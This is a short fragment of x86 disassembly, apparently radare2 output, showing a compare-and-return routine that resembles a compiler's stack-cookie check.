cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53